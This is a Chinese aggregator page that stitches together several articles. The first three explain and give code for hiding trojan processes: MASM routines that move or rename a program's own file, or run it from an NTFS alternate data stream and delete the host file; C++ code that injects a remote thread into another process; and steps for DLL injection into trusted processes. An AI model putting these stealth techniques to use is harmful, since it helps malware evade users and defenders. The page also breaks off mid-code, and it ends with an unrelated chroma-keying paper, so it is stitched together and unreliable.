浅析进程“伪隐藏”技术与实现两则

时间:2022-09-10 07:49:27 其他范文 收藏本文 下载本文

浅析进程“伪隐藏”技术与实现两则(精选8篇)由网友“麻辣兔头”投稿提供,以下是小编为大家准备的浅析进程“伪隐藏”技术与实现两则,仅供参考,欢迎大家阅读。

浅析进程“伪隐藏”技术与实现两则

篇1:浅析进程“伪隐藏”技术与实现两则

进程隐藏?干吗用?你不知道?我晕!进程隐藏技术多用于木马和病毒中(还用你说?!),用于提高其生存率,其实现方法因WIN系统架构不同而各异,一些常用方法资料很多,我在这里也就不多说啦!

这里的“伪隐藏”指的是,虽然在“WINDOWS任务管理器”进程列表中可以看到其进程存在,但在硬盘中却找不到或者说不容易找到其相对应的程序文件。

一:乾坤大挪移

大家都知道,当一个程序正在运行时,WIN系统是不允许我们把其删除的(所以才会有人寻找程序自删除技术),但却不知大家是否注意到,在WIN中,当一个程序正在运行时,我们虽然不能把它删除,但我们却可以把程序文件在同一分区内移动位置以及重命名,你可以自己试验一下!这也就是“Windows文件保护”所使用的方法!试想,如果我们的程序在运行后,立即把自身移动位置并重命名,而在“WINDOWS任务管理器”进程列表中显示的却还是原来的程序名,那你又该如何来查找到其对应的程序文件呢?当然如果程序在内存中没有进行变形的话,你可以利用内存查看软件(如WINHEX)并利用查找功能来找到相对应的程序文件,但如果程序在内存中变形

,也可以说解密,使得内存映像和硬盘中的原程序文件不同,那我是暂时没法找出来啦!

实现代码如下(MASM):

;进程隐藏之乾坤大挪移(只能在同分区内移动)

.386

.model flat, stdcall

option casemap:none

include windows.inc

include kernel32.inc

includelib kernel32.lib

include user32.inc

includelib user32.lib

.data?

selfname db MAX_PATH dup(?)

.data

movename db “c:mm.jpg”,0

.code

main:

invoke GetModuleFileName,NULL,addr selfname,MAX_PATH ;得到自身路径

mov al, byte ptr selfname ;得到所在分区

mov byte ptr movename,al ;修正movename,使其在同分区内移动

invoke MoveFile,addr selfname,addr movename ;把自身移动位置并改名

invoke MessageBox,NULL,offset selfname,offset movename,MB_OK

invoke ExitProcess, NULL

end main

本例程在WIN2000下调试通过,XP和WIN应该也可以,请有条件的弟兄测试,WIN98和WINME不能用,与硬盘格式无关!

二:程序自删除(仅适用于NTFS硬盘分区格式)

在NTFS分区下存在文件流早已不是什么秘密啦,但大家主要用它来隐藏文件,我在一次测试中却发现当我运行一个文件流程序时,这个文件流程序所在的宿主文件却是可以被删除的!进一步测试发现文件流程序运行时并无法直接删除这个文件流程序,只能删除宿主文件,从而来删除文件流程序。利用此特性,我们同样可以实现类似于上例的效果,且比其隐藏效果要好点。方法为:判断是否是NTFS格式分区,如果是则把自身复制为一个文件流,并运行复制的文件流,运行时检测到自己是存在于文件流中时就删除宿主文件。

实现代码如下(MASM):

;进程隐藏之文件流(只能用于NTFS分区格式)

.386

.model flat, stdcall

option casemap:none

include windows.inc

include kernel32.inc

includelib kernel32.lib

include user32.inc

includelib user32.lib

.data?

selfname   db MAX_PATH dup(?)

szFileSystemName db 10 dup(?)

.data

delname db “`.`:icyfox.exe”,0

;此处的“`.`:icyfox.exe”可以改为其他文件名如“cs.txt:cs.exe”

;我这里用“`.`”的目的是为了防止删除其他存在的文件

szErr db “我不在NTFS格式的分区内,退出!”,0

szYes db “我在下面的流内,已被删除!”,0

.code

main:

invoke GetModuleFileName,NULL,addr selfname,MAX_PATH

mov bl,byte ptr selfname+3

mov byte ptr selfname+3,0

xor eax,eax

;下面获取自身所在分区格式,并判断是否是NTFS格式

invoke GetVolumeInformation,addr selfname,eax,eax,

eax,eax,eax,addr szFileSystemName, sizeof szFileSystemName

mov byte ptr selfname+3,bl

.if dword ptr szFileSystemName!=SFTN;NTFS

invoke MessageBox,NULL,offset szErr,NULL,MB_OK

invoke ExitProcess, NULL

.endif

;下面判断自己是否在流(STREAM)中

;如果路径中含有两个:号,说明自己在文件流中

lea esi,selfname

xor edx,edx

@@:

LODSB

or al,al

jz @F ;遇到0结束

.if al==“:”

INC edx

.endif

.if edx==2

mov byte ptr [esi-1],0

invoke DeleteFile,addr selfname ;删除宿主文件

invoke MessageBox,NULL,offset delname,offset szYes,MB_OK

invoke ExitProcess, NULL

.endif

jmp @B

;下面是当自身不在文件流中时,把自身复制到流中并运行

@@:

invoke CopyFile,addr selfname,addr delname,FALSE

invoke WinExec,addr delname,NULL

invoke ExitProcess, NULL

end main

附加品:

我在测试时发现,当delname(也就是流名)为“ .:icyfox.exe” (.前为一空格,也可以是其他字符)时,会产生一个无法删除的文件“ .”,我的盘中还留着它,请大家想想办法帮我删掉它!我怀疑可能和那个文件夹漏洞有关,但现在是文件,我在后面加上也删不掉!

篇2:WinNT & Win2K下实现进程的完全隐藏.net

面对众多的计算机高手,考虑许久,终于还是决定出来献丑一下,文章内尽量使用最简洁易懂的词汇及例子来介绍,希望能够对一些初学与进阶者有所帮助, 关于进程的隐藏,98下的例子数不胜数。WinNT/Win2K下的隐藏方法,西祠的高手shotgun在去年的6月就已经在网

面对众多的计算机高手,考虑许久,终于还是决定出来献丑一下,文章内尽量使用最简洁易懂的词汇及例子来介绍,希望能够对一些初学与进阶者有所帮助。

关于进程的隐藏,98下的例子数不胜数。WinNT/Win2K下的隐藏方法,西祠的高手shotgun在去年的6月就已经在网上发布出实例《揭开木马的神秘面纱<四 designtimesp=“21638”>》 ,我也多次拜读他的文章,对他的计算机水平及热心帮助朋友的作风十分敬佩。这里也可算是对shotgun的文章的补充与深入介绍吧,好了,闲话少说。

在WinNT下“真正隐藏进程”这一说法,可以讲是根本不可能实现,只要我们的程序是以进程内核的形式运行,都是不可能逃离CTRL+ALT+DEL的法眼。那么奇怪了,这岂不是与我们的标题《WinNT & Win2K下实现进程的完全隐藏》相矛盾吗?是的,实际上应该是:以非进程方式执行目标代码,而逃避进程查看器的检查,从而达到“进程隐藏”的目的。

我们这里用的,是在宿主进程中,以线程的方式执行我们的代码。实现起来非常简单。首先,我们先建立一个不执行任何语句的线程

DWORD stdcall ThreadProc(LPVOID *lpVoid){

return 0;

}

然后,将线程代码拷备至宿主进程所能够执行的任何地方(即页面属性为PAGGE_EXECUTE_READWRITE),如:共享内存影射区、宿主进程内。这里我们选择宿主进程,拷备的时侯,我们需要先在宿主进程中使用VirtualAllocEx函数申请一段内存,然后再使用WriteProcessMemory将线程体写入宿主进程中。

以上工作完成后,我们便可CreateRemoteThread函数激活其执行。下面给出一个完整的例子

//远程线程执行体

DWORD __stdcall ThreadProc (void *lpPara){

return 0;

}

int main(int argc, char* argv[]){

const DWORD THREADSIZE=1024*4;//暂定线程体大小为4K,实际上没这么大,稍后我将会介绍

DWORD byte_write;

//获得指定进程ID句柄,并设其权限为PROCESS_ALL_ACCESS,992是宿进程的ID号,获取ID号的方法这里我就不多讲了

HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,992);

if(!hWnd)

return 0;

void *pRemoteThread =::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT| MEM_RESERVE,PAGE_EXECUTE_READWRITE);//申请

if(!pRemoteThread)

return 0;

if(!::WriteProcessMemory(hWnd,pRemoteThread,&ThreadProc,THREADSIZE,0))//写入进程

return 0;

//启动线程

HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,NULL,0,&byte_write);

if(!hThread){ //还有内存分配未释放

return 0;

}

return 0;

}

到这里,对于隐藏的方法就算告一段落,相信看过的朋友对这个思路有个非常明确的概念了吧,

在理解隐藏的方法后,我们着重开始写线程的执行部分了。如下:

DWORD __stdcall ThreadProc(void *lpPara){

MessageBox(NULL,“hello”,“hello”,0);

return 0;

}

编译执行后,你会发现出现一个非法操作错误,为什么呢?在我们以段页式内存管理的win2K操作系统中,编译时会把所有的常量编译在PE文件的.data节中,而代码段则在.text中,所以,我们拷备到宿主进程中的代码是在.text中的代码,MessageBox(NULL,(char *)指针,p,0);所指向的地址是本进程的内存虚拟地址。而在宿主进程中是无法访问的。解决的方法很简单,按旧照搬的将“hello”也拷备到目标进程中,然后再引用。同理,MessageBox函数地址编译时,也是保存在.Import中,写过Win2k病毒的朋友都知道,所有常量与函数入口地址都需在代码段定义与得出,我们这里也与他有点类似。言归正传,同样情况我们也把函数的入口地址一起写入目标进程中。

//先定义参数结构

typedef struct _RemotePara{//参数结构

char pMessageBox[12];

DWORD dwMessageBox;

}RemotePara;

//赋值

RemotePara myRemotePara;

::ZeroMemory(&myRemotePara,sizeof(RemotePara));

HINSTANCE hUser32 = ::LoadLibrary (“user32.dll”);

myRemotePara.dwMessageBox =(DWORD) ::GetProcAddress (hUser32 , “MessageBoxA”);

strcat(myRemotePara.pMessageBox,“hello

原文转自:www.ltesting.net

篇3:Windows NT/系统下进程隐藏的基本技术和方法

摘要 进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库方法,较好地解决了这一问题,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。

关键字进程 线程 木马 动态链接库

木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。

本文分析了Windows NT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现Windows NT/2000系统中进程的隐藏。

1 基本原理

在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在Windows NT/2000中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过Windows NT/2000的任务管理器,Windows NT/2000的任务管理器均能轻松显示出木马进程,难道在Windows NT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在Windows NT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。

2 实现方法

为了弄清实现方法,我们必须首先了解Windows系统的另一种”可执行文件“----DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。

运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。

远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。

3 实施步骤

1) 用Process32Next函数找到宿主进程,获取宿主进程ID,并用

OpenProcess()函数打开宿主进程。

2) 用VirtualAllocEx()函数分配远程进程地址空间中的内存。

3) 用WriteProcessMemory()函数将待隐藏的DLL的路径名。

4) 拷贝到步骤二已经分配的内存中。

5) 用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。

6) 用CreateRemoteThread()函数在远程进程中创建一个线程。

7) 它调用正确的LoadlibraryA()函数。

8) 为它传递步骤二中分配的内存地址。

[Windows NT/2000系统下进程隐藏的基本技术和方法]

篇4:端口截听实现端口隐藏嗅探与攻击

在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

saddr.sin_family=AF_INET;

saddr.sin_addr.s_addr=htonl(INADDR_ANY);

bind(s,(SOCKADDR*)

篇5:键控技术的数字实现与发展

我们知道传统视频领域中的键控技术的本质就是应用视频开关控制图象的 ”抠“和”填“。”抠“就是利用前景物体轮廓作为遮挡控制电平将背景画面的颜色沿该轮廓线抠掉,使背景变成黑色。”填“就是将所要叠加的视频信号填到被抠掉的无图象区域,而最终生成前景物体与叠加背景合成的图象,如图1所示。在这个处理过程中,依赖于前景物体所产生的遮挡轮廓信号,作为外键信号输入,背景图象中输出像素的键值为0%,而前景物体输出像素的键值为100%。这种传统处理方式存在的缺陷是对于前景物体的软边,比如头发丝,会产生兰色镶边,就是我们通常说的”兰溢出“(blue spill)。

在早期的视频领域要想很好的解决”兰溢出“的发生,很好的保留前景图象的细节,或者是针对半透明前景物体作键处理,是一件很难做到的事情。但是在数字视频领域里,由于引入多种数字色键处理方式,使得我们基本上走出了此类困惑。本文将介绍几种数字色键的处理方法,并且与传统方法进行一些比较,希望能使读者可以对数字键控技术有更多的认识。

1传统键控原理

由于人体肤色的原因,传统的键控处理中背景画面的颜色一般选择

高饱和度的兰色和绿色,所需的门控开关信号称为键控信号或键信号,键信号由作为键源的视频信号通过键处理器产生。一个键开关信号在有键信号(键值为100%)的时候背景图像通不过,让前景图像通过,没有键信号(键值为0%)的时候让背景图像通过,而前景图像通不过,根据不同的前景图象视频所获得的,并因此控制视频切换开关的键信号的频率,大约在几十Hz--几MHz。如此一个模拟色键处理的结果即是我们通常所说的”扣像“。

图2 为传统键控处理原理示意图。

传统键信号波形是前后沿很陡的矩形脉冲信号,在合成输出图像时

前景物体与背景画面的分界处有锯齿、抖动和突变现象,使人感到生硬和不自然,还存在分界处彩色闪烁和有幕布色镶边等现象。另外,对于自然景物中的半透明物体作为合成图像前景图像时,其后面的背景图像应该是部分地透明,但是在传统色键处理时,任何瞬间其键信号所控制的视频切换开关不是接通就是断开,键信号只有两种取值,不是高电平就是低电平,因此传统色键合成图像中前景图像不是全透过就是全不透过其后的背景图像,这与我们日常见到的自然景观是不同的,效果十分生硬与缺乏真实感的,我们称之为硬色键。在硬色键中,键信号为高电平时视频开关接通,前景图像全透过其后的背景图像,键信号为低电平时视频开关切断,前景图像全不透过其后的背景图像。

2数字视频领域的键控技术

数字色键主要使用数字格式的视频做键处理,而不是建立一个新的技术概念。首先分别介绍数字键控处理中涉及的相关概念及技术。

2.1相关概念

(1)深度键(depth-key)

深度键不是键技术,它根本是解决主持人与三维虚拟场景的前后遮挡关系,以确定键或非键。

深度键的概念是由三维实时虚拟演播室技术引入的,与传统的键控技术不同,目前市场出现的三维实时虚拟演播室产品中,合成图象的真实性主要表现在可以产生一个纵深方向的信息(即Z轴方向的参数值,称为Z值),它不象二维处理时所用的层技术,是一种基于三维画面的混合技术,称为深度键(depth-key)。

虚拟演播室的出现,对传统色键技术提出了更高的要求,为了使同一节目中的主持人、实物道具和虚拟背景之间可以相互动态遮挡,实现主持人在虚拟或实际物体后方或前方行走,要求色键具有纵深方向的信息,即虚拟摄象机到每个像素的距离。使用传统的色键技术,将主持人从兰色幕布中提取出来的同时产生一个前景遮挡信号即键信号,然后通过深度键发生器求出色键的深度值。深度键发生器有两种:一种是将物体分成有限数目的分层级;另一种是将像素分成等级的像素级。在分层级深度键中,物体被分别归类到数目有限的几个深度层中,因此演员在虚拟场景中的位置无法连续变化。而在像素级深度键中,构成虚拟场景中的每一个像素都有相应的Z轴深度值。因此演员在虚拟场景中的位置可以连续变化。

目前,获得深度键的方法大致有两种:一种靠近似判断的方法得出。它是用近似的方法判断出前景主持人和摄象机的相对距离,并且用这个值作为整个前景的深度值。如果主持人移动,那么这个值也将改变。

通过对合成画面上每个像素Z值的计算和实际内容的需要用手控方式决定前景主持人和虚拟背景的相对关系,这种方法实现起来比较容易,缺陷是逼真度差,而且对主持人的要求较高。另一种获得Z值的方法是采用”自动主持人跟踪系统“。它主要是由一个固定在主持人身上的红外发射器和一套安装在演播室墙上的红外接收装置完成。它可以准确定位出主持人的三维位置,自动识别主持人和虚拟背景的相对位置关系。

(2)数字色键

数字色键与模拟色键的最大不同在于它可以在数字领域的1千6百万种颜色中任选一种,这1千6百万种颜色得自计算机的32位机器字长,其中有8位专门用于表示每一种颜色的256种明暗(灰度)变化(即下文提到的ALPHA键),另外的24位可以表示224种(约为1千6百万种)颜色。当然这是由计算机的处理能力得出的,并不代表自然界真实存在的颜色,有很大一部分为非法色。模拟色键在做扣像时,可以不分级的连续选择无数色作为键出色,通常选择高饱和度的兰或绿色。高质量的数字色键针对画面的三个分量(Y,B-Y,R-Y)的每一路进行处理,并分别产生一个线性键。这种将一个色键分为三个键来处理的方法,可以允许保留更多的图象细节。

由于色键处理是针对背景画面的某一种颜色分量进行键出覆盖,因此键源信号的质量高低决定了键信号的质量。为了对色度信号做尽可能细的区分,带宽的保证是必不可少的。众所周知,模拟或数字分量的NTSC或PAL制全电视信号的带宽为6MHz,而在ITU-601数字分量演播室标准内,采用对Y,(R-Y),(B-Y)3个信号分量分别编码的方式,取样频率为13.5 MHz,取样结构为4:2:2,假如以10bit 作为量化比特数,其编码后的总码率R=10*(13.5+6.75+6.75)=270Mbit/s。

通常,信道带宽至少是数码率的0.5至1倍,数字化后的信号带宽就达到了(67.5--135)MHz(只有Y时)或(135--270)MHz。即使经过数据压缩之后,其带宽仍远远高于模拟或数字分量信号。因此,ITU-601数字分量演播室标准就为色度提供了更大可用的带宽。使得数字色键产品可以得到比模拟色键产品好得多的质量。但是数字色键也有它自身不可克服的缺陷,那就是由于数字图象的压缩,哪怕是极轻微的压缩,都有可能导致键错误的发生。尤其是在DCT分块处理的边界处。在新的数字电视标准中,已经将键信号规定为彩色图象除了Y,(R-Y),(B-Y)的第四个分量,其采样结构为4:2:2:4或4:4:4:4(此时为R,G,B处理),采样频率为13.5MHz。

(3)柔化键(Soft-key)

在数字键控技术领域,提到柔化键,一般包括两层含义。一种是针对传统开关切换的硬色键而言的软色键,其键信号波形是与前景图像透明度相关的斜坡形(梯形)信号,键信号在上升和下降期间有一定的斜率,能够在很大程度上克服硬色键非0即1的缺点,软色键中将用于硬色键的脉冲门控混合电路改成了线性混合电路。还有一层含义是指在一些数字色键处理过程中,为了得到精细逼真的画面效果,而将处理模块细化,比如Primatte色键处理软件,在处理兰屏前的物体与背景叠加时,将处理过程细分为背景彩色分量处理、柔化键彩色分量处理(针对前景物体的透明或半透明部分进行)、兰色溢出彩色分量处理与前景彩色分量处理。四个过程分别进行,然后再合成。此时的柔化键,已经是特指对前景物体的透明度所进行的软件运算了。

(4)线性键(linear-key)

线性键是在柔化键中软色键技术的基础上发展而来的,它借用了计算机图象处理软件中的ALPHA通道分层技术的精髓,通过对键信号的分级来均匀地混合前景与背景。采用线性键技术合成的图像,可以根据前景图像的透明度线性成比例地透过背景图像,因此也被称为ALPHA键。

线性键是具有半透明混合效果的键控特技,其键信号决定合成图像中前景图像(填充信号)后背景图像以什么样的透明度可见,即键信号根据前景图像的透明度而线性地成比例地决定前景信号与背景信号的合成比例或混合程度。线性键的数学模型可用下式表示:

VOUT = VF * K + VB *(1 - K)

其中VOUT为前景(填充)信号和背景信号合成后的输出信号,VF 为前景信号,VB背景信号,K为键信号,K值取值范围为大于等于0而小于等于1,从该式可知,当K=1时,VOUT = VF ,此时线性键的合成输出就是前景(填充)信号,这种情况称为完全叠加。当K=0时,VOUT = VB ,此时线性键的合成输出就是背景信号,这种情况称为完全不叠加。当大于0而小于1时,线性键的合成输出为前景(填充)信号VF 和背景信号VB按照K值所决定的比例进行合成以后的图像,合成图像看上去是半透明的效果,透过前景可以看到背景,透明度的大小取决于键信号K的值。

从上述表达式可以看出,线性键并不是作完全的相加混合,在前景(填充)信号为半透明的情况下,要看到背景画面,必须削弱前景信号,这样势必会损失图象细节。实际上,当K=0或K=1时,线性键就工作在硬色键方式,但反过来硬色键却不能达到线性键的效果,因为硬色键的键信号K的值只有0(低电平)和1(高电平)两个值,所以硬色键合成输出要么是前景信号,要么是背景信号,不可能出现半透明的混合效果。

线性键在处理前景信号细节边缘或兰色阴影时,是在整个背景范围内抵消相应的色度,在混合输出时前景的边缘信号被减弱了,保留下的亮度级也被减弱了,这样在加混输出时,前景的细节就可能变得灰暗与模糊。

图3给出了线性键(ALPHA键)原理示意图。

2.2彩色空间

为了得到最佳的键合成效果,不同的商家开发了许多种技术途径,尤其在彩色空间的选择与采样技术上。一直以来模拟色键发生器的输入均直接由演播室摄象机直接提供RGB信号,当然在数字化时代,存储和处理RGB信号比处理Y,R-Y,B-Y信号复杂,为了真实还原色彩,不可以象对待Y,R-Y,B-Y信号以4:2:2或4:2:0或4:1:1来采样,而必须以4:4:4的采样结构分别对RGB三个颜色分量采样。这样RGB均为全带宽,必然会增加系统整体的处理难度。因为在多次的记录与存储过程中,怎样在一个复杂的编辑过程中采用RGB处理是非常困难的,任一环节以低于4:4:4的格式记录,都将损失RGB处理的所有优势。另外,相对于Y,R-Y,B-Y信号,以RGB处理无论在数学模型或控制上均更加复杂,例如一个被摄物体明亮度的变化在RGB处理时,需要调整RGB三个分量的正确混合比例,但以Y,R-Y,B-Y处理,只需要调整一个就可以。可以想象,当视频图象采用RGB时,应该代表了最佳的图象质量。这也是高清晰度电视以4:4:4或8:8:8采样所追求的目标。但是目前在电视制作中,还不可能完全实现。不过,新的数字分量色键处理却已经在RGB彩色空间进行了。

根据格拉兹曼法则,任何一种彩色都可由另外3种彩色按不同的比例合成。这意味着若选定3种人所共知的标准基色,那么任何一种彩色,可以用合成这一彩色所需的3种基色的数量来表示。更明确地说,在标准基色选定以后,任何一种彩色,可以用3个数字精确的表示。选定RGB作为三基色,色度学中引入了三色系数RGB,并且推导出:可以用三色系数R、G和B来准确地表示彩色的色调和饱和度。图7给出了以R,G,B为坐标轴,以三色系数为坐标,任何一种彩色均可以由这3个坐标值所确定的矢量来表示的三维矢量坐标系,我们也称其为RGB彩色空间。其中坐标原点o是RGB都等于0的点,代表黑色。与O点相对应的立方体的顶点的3个坐标值都等于1,代表等能白色。连接其余的R、G和B分别等于1的3个顶点的等边三角形(图中虚线所示),称为麦克斯韦三角形,其三个顶点分别代表100%的红色、绿色和兰色,三角形的重心代表等能白色。麦克斯韦三角形所在的平面也叫色度平面(Chromaticity Plate)。色度是色调与色饱和度的总称,不含亮度信息。因此在色度平面上浅红和深红没有区别。传统的色键处理只在色度平面中进行,不考虑亮度分量。在图4所示的RGB彩色空间中,黑白两点连线所代表的是亮度信息。

新的数字色键处理方法,既在RGB色立方体的色度平面处理,同时也考虑了亮度因素。例如, Primatte 色键处理软件,定义了一个128面的多面体来建立精密复杂的三维空间轮廓,以达到精细区分存在于前景与背景之间的细小的颜色不同。

3 ULTIMATTE的数字色键处理

ULTIMATTE公司是世界公认的兰/绿屏技术的领导者,具有20多年的开发应用兰屏合成图象的经验,无论从传统色键设备到先进的数字色键设备,他一直在不断地提高产品的功能,引领着业界的.潮流。

Ultimatte的数字色键处理是在前后景间作混合而非切换,前后景先分别处理,然后再相加产生合成图象,在处理时它不用限制整体信号。早期的键采用的是非相加的混合,在前后景之间做切换,这种方法的局限性就是没办法将透明或半透明的前景物体叠加到背景上,而同时还要透过它看到背景。

与传统的色键处理相比,ULTIMATTE的数字色键处理具有以下特点:

(1)用完全相加混合前景与背景,可以再生象透明物体上的倒影那样的清晰效果。

(2)采用特有的算法产生遮罩(matte)信号,可以更好地从前景物体中区分出背景。

(3)采用抑制衬底及平抑兰溢出的特殊算法处理前景的同时,允许在前景上再现兰色阴影。

ULTIMATTE的数字色键处理提供了以下的功能:

(1)全线性的遮挡:用于消除硬边缘,所有在前景图像中的图像虚化、清晰细致的图像、透明度以及影子都将在最后合成中重新生成。

(2)屏幕矫正:用于对不均匀的蓝屏幕、蓝布景,以及污点的调整,保证最后的合成完美无缺。

(3)噪点消除(Grain Killer): 对前景中的蓝屏和绿屏中的噪点进行过滤,不影响前景图像。

(4)自动处理:点击任意污染区域,自动地对噪点消除(Grain Killer)控制进行调整。

(5)冗余色块: 提供了一个外部生成的冗余色块(garbage matte),

(6)闪烁抑制:自动消除蓝屏幕闪烁或前景图像溢出,进一步控制过渡的溢出

3.1前景处理

ULTIMATTE在处理前景时,不削弱前景,只削减描绘背衬的兰色分量,对前景物体的外边缘的处理,Ultimatte可以高保真。它采用独特的算法有选择地减去信号级来表现出衬底,而线性键在处理前景时是在衬底所有的色调范围内抵消色度值,在混合时前景被减弱,留下的亮度级也被消减,有时前景物体的兰色阴影可能变得灰暗。

3. 2遮罩(matte)信号的产生

ULTIMATTE色键处理区别于其他色键设备的第二个特点是用来从前景产生遮罩(matte)信号的特殊算法. ULTIMATTE从前景RGB得出遮 罩(matte)信号的处理较一般色键信号复杂、灵活,ULTIMATTE可以更好地区分衬底与前景物体的颜色,操作者可以更多的控制选取生成遮罩(matte)信号所用的颜色纯度,也可以比一般色键更好地支持兰屏前的兰色与灰色阴影。

3.3兰溢出的抑制

ULTIMATTE含有专门用来抑制由衬底溢出的光引起的前景物体的色污染,这是处理前景生成遮罩(matte)信号的处理过程的一部分。

ULTIMATTE在处理前景时,将衬底的兰(绿)抑制为黑,前景中的其他区域的兰(绿)被减弱到一个合适的水平。传统色键通过抵消色度中的指定色调来抑制兰溢出,而ULTIMATTE是有选择的减少兰(绿)色分量。不同在于传统色键中的前景物体的兰色将变为灰色,而ULTIMATTE中的兰色仍保持兰色。

4 PRIMATTE的数字色键处理

PRIMATTE是一种纯软件的色键处理方法,广泛地运行在各种SGI图象处理工作站上,最初由IMAGICA 公司在1992年提出,用于在数字图象上实现高质量的色键处理。经过近的发展,如今PRIMATTE已成为一种功能强大的标准SGI软件产品,它可以提供极端精细的遮罩控制功能来实现高质量的图象合成。

PRIMATTE的数字色键处理具有以下特点:

(1) 独特的键值算法

(2) 对图象软边部分的色彩处理

(3) 准确、干净地抑制兰溢出

(4) 易操作性

4.1键值计算方法

为了产生一个合成图象,计算机图象处理借鉴了视频色键处理的思想,采用遮罩信号作为视频切换开关,要求兰屏的彩色分量为0%,前景物体的彩色分量为100%。采用”柔化键“处理比较难于合成的前景物体,如烟、头发丝等,此时前景物体的彩色分量值界于0%--100%之间,基于遮罩层级值混合前景物体与背景图象的彩色分量。合成图象的每一个象素值等于色键遮罩层相应象素的彩色分量值减去背景图象相应象素的彩色分量值。

该算法的处理是在RGB彩色空间进行的,并且考虑了亮度信息,并且可以依据前景物体的颜色分量,灵活地对亮度信息的分级,来准确地确定遮罩信号。

在PRIMATTE的算法中使用了三种不同的多面体来控制精细的三维键图,并采用下述的4个步骤来处理:

(1) 背景分量

(2) 柔化键分量

(3) 兰溢出分量

(4) 前景分量

4.2软边处理

传统的色键合成图象时,使用遮罩信号作为外键输入,背景物体的所有象素将以100%的彩色分量值、0%的键值输出,前景物体的所有象素将以100%的彩色分量值、100%的键值输出,这样物体的柔化边缘不可能被清晰键出,同时兰色背景将为最终的合成图象镶边。一般的处理方法是通过调整键的分割级数来抑制这种兰色溢出,那样图象的细节会丢失。

传统的解决方法,首先需要建立一个前景物体的轮廓图象,并且用补色代替兰色背景,这种处理模式也被称作”消色信号“,其结果看起来不自然。现有的色键处理中,比较流行的方法是利用一个中间图象,该图象生成于系统内部,由色键素材减去兰色分量形成,看起来象”黑背景图象“。这个中间图象被称为”予繁衍前景“(pre-multiplied foregroung)。但是使用其他视频设备去合成这个”予繁衍前景“时仍有缺陷,主要是其所使用的开关必须具有”加混“功能,否则软键部分就不能被清晰地键出,且颜色中保留有黑色。PRIMATTE在进行处理时不会发生这种现象,它采用了一种高性能的柔化键处理技术,”非予繁衍前景“技术,不必顾及开关的功能,更适合于外键的生成。

4.3精确抑制兰溢出

PRIMATTE软件具有独特的兰溢出抑制功能。关键在于彩色校正,尤其是允许使用者从溢出区域提取出兰色分量。当背景包含的颜色分量极少时,这种处理是实用有效的,如果背景亮度不均匀,PRIMATTE提供一个内部发生装置散焦背景图象作为参考。使用者可以应用(或加混)相应的彩色分量,这些彩色分量可以是包含在背景图象中的每一部分的彩色分量。

4.4 遮挡信号的生成

在传统的色键设备中,一个遮挡信号的产生,一般经过下述步骤:

(1) 输入一幅兰背景图象;

(2) 设置存储空间保留遮挡结果;

(3) 围绕兰色背景设置分割区;

(4) 从图象左上角开始对每一个象素执行以下处理:

A. 将该象素描绘为彩色空间的一个点,得到它的彩色坐标;

B. 确定这个点是否落在分割区内;

C. 如果是,赋值为BLACK,否则,赋值WHITE;

D. 存储该象素;

E. 对所有象素重复上述步骤;

(5) 输出遮挡图象结果。

